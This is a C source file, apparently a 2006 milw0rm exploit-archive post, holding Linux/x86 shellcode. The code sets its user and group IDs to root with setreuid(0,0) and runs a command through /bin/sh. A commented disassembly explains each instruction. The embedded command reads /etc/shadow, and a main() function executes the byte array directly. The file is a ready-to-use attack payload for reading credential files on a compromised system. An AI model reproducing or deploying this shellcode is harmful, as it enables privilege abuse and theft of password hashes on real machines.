52 lines
No EOL
1.8 KiB
C
52 lines
No EOL
1.8 KiB
C
/*
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* bunker_exec.c V1.3 - Tue Mar 21 22:50:18 CET 2006
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*
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* Linux/x86 bytecode that executes command after setreuid
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* (9 + 40 bytes + cmd)
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*
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* setreuid(0, 0) + execve("/bin//sh", ["/bin//sh","-c","cmd"], NULL);
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*
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* "cmd" MUST be terminated with ";" (better with ";exit;" :-D)
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*
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* bunker - http://rawlab.mindcreations.com
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* 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
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*
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* setreuid(0, 0);
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* 00000000 6a46 push byte +0x46
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* 00000002 58 pop eax
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* 00000003 31db xor ebx,ebx
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* 00000005 31c9 xor ecx,ecx
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* 00000007 cd80 int 0x80
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*
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* execve("/bin//sh", ["/bin//sh", "-c", "cmd"], NULL);
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* 00000009 eb21 jmp short 0x2c
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* 0000000b 5f pop edi
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* 0000000c 6a0b push byte +0xb
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* 0000000e 58 pop eax
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* 0000000f 99 cdq
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* 00000010 52 push edx
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* 00000011 66682d63 push word 0x632d
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* 00000015 89e6 mov esi,esp
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* 00000017 52 push edx
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* 00000018 682f2f7368 push dword 0x68732f2f
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* 0000001d 682f62696e push dword 0x6e69622f
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* 00000022 89e3 mov ebx,esp
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* 00000024 52 push edx
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* 00000025 57 push edi
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* 00000026 56 push esi
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* 00000027 53 push ebx
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* 00000028 89e1 mov ecx,esp
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* 0000002a cd80 int 0x80
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* 0000002c e8daffffff call 0xb
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* 00000031 .... "cmd; exit;"
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*/
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char sc[]=
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"\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99"
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"\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
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"\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff"
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"cat /etc/shadow; exit;";
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main() { int(*f)()=(int(*)())sc;f(); }
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// milw0rm.com [2006-08-02]
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